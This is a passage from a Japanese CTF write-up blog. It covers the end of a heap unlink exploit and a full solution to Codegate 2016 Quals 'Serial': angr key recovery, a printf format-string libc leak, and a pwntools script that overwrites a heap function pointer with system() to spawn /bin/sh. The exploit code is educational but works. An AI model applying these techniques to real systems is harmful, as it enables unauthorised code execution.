    conn.recvuntil(index + ') ')
    heap_addr = int(conn.recv(14), 16)
    conn.recvuntil('Write where: ')
    conn.sendline(index)
    conn.recvuntil('Write what: ')
    conn.sendline(buf)

    return heap_addr
    
def leak():
    conn.recvuntil('| ')
    conn.sendline('N')
    conn.recvuntil('Here you go: ')
    ret_addr = int(conn.recvuntil('\n'), 16) + 0x13c

    return ret_addr

def leave():
    conn.recvuntil('| ')
    conn.sendline('E')

# get return address
ret_addr = leak()

# set chunk and free
alloc('16')    # index 1
alloc('128')   # index 2
alloc('16')    # index 3
free('2')
free('1')

# alloc index 4 and leak heap address(index 4)
alloc('128')
heap_addr = write('4', 'SYARO!!!')
ret_size = ret_addr - heap_addr

log.info('ret_size:%16x' % ret_size)
log.info('fd:      %16x' % heap_addr)
log.info('return:  %16x' % ret_addr)

# unlink atack
unlink_attack = ''
unlink_attack += p64(ret_size)   
unlink_attack += p64(0)          
unlink_attack += p64(16 + 2 + 1) # fake alloc chunk
unlink_attack += 'SYARO!!!' * 2  # data
unlink_attack += p64(16 + 2)     # fake free chunk
unlink_attack += p64(heap_addr)  # fd
unlink_attack += p64(0)          # bk

write('4', unlink_attack)
free('2')

payload = ''
payload += 'SYARO!!!' * 2
payload += shellcode

write('4', payload)
leave()

conn.interactive()

【総評】UAFマジでくじけそう

Codegate CTF 2016 Quals Serial

64bit-ELFでxinetd型だった。angr使ったことないからこの問題を使って解こうかなと思った問題。とりあえず、見ていこう。

shima@chino:~/workspace/pwn_list_easy/serial$ checksec --file serial 
[*] '/home/shima/workspace/pwn_list_easy/serial/serial'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
shima@chino:~/workspace/pwn_list_easy/serial$ 

とりあえず、実行してみる。

shima@chino:~/workspace/pwn_list_easy/serial$ ./serial 
input product key: 14444444444444
Wrong!

はい、どうやらここのkeyを当てないと次に行かないようになっているっぽい。…逆アセンブルして頑張りたくないなぁという思いしかなかったため、angrというものを使ってみる。とりあえず、コードをいかに貼る。

# coding: utf-8
import angr

start = 0x400cbb
finish  = 0x400e5c
key_len = 20
p = angr.Project("./serial")

# set entry point
init = p.factory.blank_state(addr = start)

# Creates a Bit-Vector Symbol
key = init.se.BVS(name="key", size = key_len * 8)

# Stores content into memory
init.memory.store(0x6020ff, key)

# Set sub_0x400cbb's arg1
init.regs.rdi = 0x6020ff

# Find the path to reach the specified address
pg = p.factory.path_group(init)
pg.explore(find = finish)

s = pg.found[0].state
print "Key = %r" % s.se.any_str(key).strip("\x00")

コード自体は以下のサイトを参考にさせていただきました。ありがとうございます!

pwn.hatenadiary.jp
コード自体は何をやっているのかというと、0x6020ff(.bssセクション内)のアドレスをkeyを判断する関数(0x400cbb)の第一引数として与え、angrが頑張ってkeyを見つけてくれるようなコードである。正直どのようにして見つけているのか分かんないため、思考停止状態で使ってる。全数探索でもやってるのかな?
angrを使うタイミングとしてはkeyを判断する関数(0x400cbb)からその関数の終わりまでである。これを実行すると以下のような結果になる。

(ENV) shima@chino:~/workspace/pwn_list_easy/serial$ python key.py 
Key = '615066814080'

これでkeyが分かったため、次の処理を見てみよう。

shima@chino:~/workspace/pwn_list_easy/serial$ ./serial 
input product key: 615066814080
Correct!
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> 
  1. ADDはヒープ領域に確保された場所に入力したものをmemcpyを使って入力した文字数分格納する。(ここにBOFあり)

  2. RemoveはADDされたもの全部削除

  3. Dumpは入力されたデータを表示する(ここのバグを利用する)

  4. Quitは終了

ADD命令でmemcpyした直後ヒープの状態は以下のようになっている。

gdb-peda$ x/4gx 0x603010
0x603010:  0x4141414141414141 0x0000000000000000
0x603020:  0x0000000000000000 0x000000000040096e

ヒープに既に何かが格納のされているが、これは関数のポインタであり、Dumpを使ったときにこの関数のポインタが利用される。今回はこの関数ポインタを任意の関数に書き換えて利用する。
以下がDumpが関数ポインタを利用する逆アセンブルである

mov     rax, [rbp+arg1] 確保されたヒープ領域の先頭アドレス
mov     rdx, [rax+18h] 関数のポインタ(確保されたヒープ領域の先頭アドレス+18h)
mov     rax, [rbp+arg1] 
mov     rdi, rax        確保されたヒープ領域の先頭アドレスを第1引数にする。
mov     eax, 0
call    rdx

入力した部分がそのまま第一引数になるため、これを上手く関数ポインタをsystemに変えて/bin/shを起動させたい。しかし、どうやってlibc baseを特定させればいいだろう?…ここで考えたのがFSBを自ら作るということだ。関数のポインタをprintf.pltをセットし、そして第一引数に%pを入力することにより、leakを行うことができる。さっそくperlワンライナーで書いて実行してみよう

shima@chino:~/workspace/pwn_list_easy/serial$ perl -e 'print "615066814080\n" . "1\n" . "%3\$p" . "A"x20 . pack("Q<", 0x400790) . "\n" . "3\n" . "4\n"' | ./serial
input product key: Correct!
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> insert >> Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> hey! (nil)
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> func : 0x400790
0x7fc393f4ff80AAAAAAAAAAAAAAAAAAAA�@Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> bye

%pから順番に試していくと%3$p(つまり、三つ目)でwrite+16h関数の部分のGOTアドレスをleakさせることができた。ここからlibc baseをleakさせ、systemの関数をセットさせよう。攻撃の順番としては以下のようになる。

  1. ADDして、BOFで関数ポインタをprintf.pltにし引数を%3$pにする。

  2. Dumpしてwrite+16h関数のアドレスをleakし、libc baseを求める。

  3. Removeして、ADDのdataをきれいにする。(関数のポインタがprintf.pltになっているため)

  4. ADDして、BOFで関数ポインタをsystemにし引数を/bin/sh;にする。

  5. Dumpしてshellを起動

これらを行うコードは以下のようになる。コードべちょー

#!/usr/bin/env python2
from pwn import * 

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log
elf = ELF('./serial')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 8888
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./serial')
        print "[+] connect to local\n"

def add(data):
    conn.recvuntil("choice >> ")
    conn.send("1\n")
    conn.recvuntil("insert >> ")
    conn.send(data+"\n")

def remove():
    conn.recvuntil("choice >> ")
    conn.send("2\n")

def dump():
    conn.recvuntil("choice >> ")
    conn.send("3\n")
    conn.recvuntil("func : 0x400790\n")
    return int(conn.recv(14),16)

# set product key
conn.recvuntil("input product key: ")
conn.send("615066814080\n")

# leak libc base(write+16 is leaked)
payload = ''
payload += '%3$p'
payload += 'A' * 20
payload += p64(elf.plt['printf'])

add(payload)

# get libc_base and system_addr
write_libc = dump() - 0x10
print "write:%16x" % write_libc
libc_base = write_libc - libc.symbols['write']
system    = libc_base  + libc.symbols['system']
print "[+] libc base %16x" % libc_base
print "[+] system %16x" % system

remove()

# set system(/bin/sh)
payload = ''
payload += '/bin/sh;'
payload += "A" * 16
payload += p64(system)

conn.send("1\n")
add(payload)
conn.send("3\n")

conn.interactive()

remove終わった直後に1(add命令)を送ると少し変な動きをするため、先に1を送ってそのあとにadd命令を送ることでうまくいったため、少し変なコードになっている。
【総評】angrよく分からないというお気持ち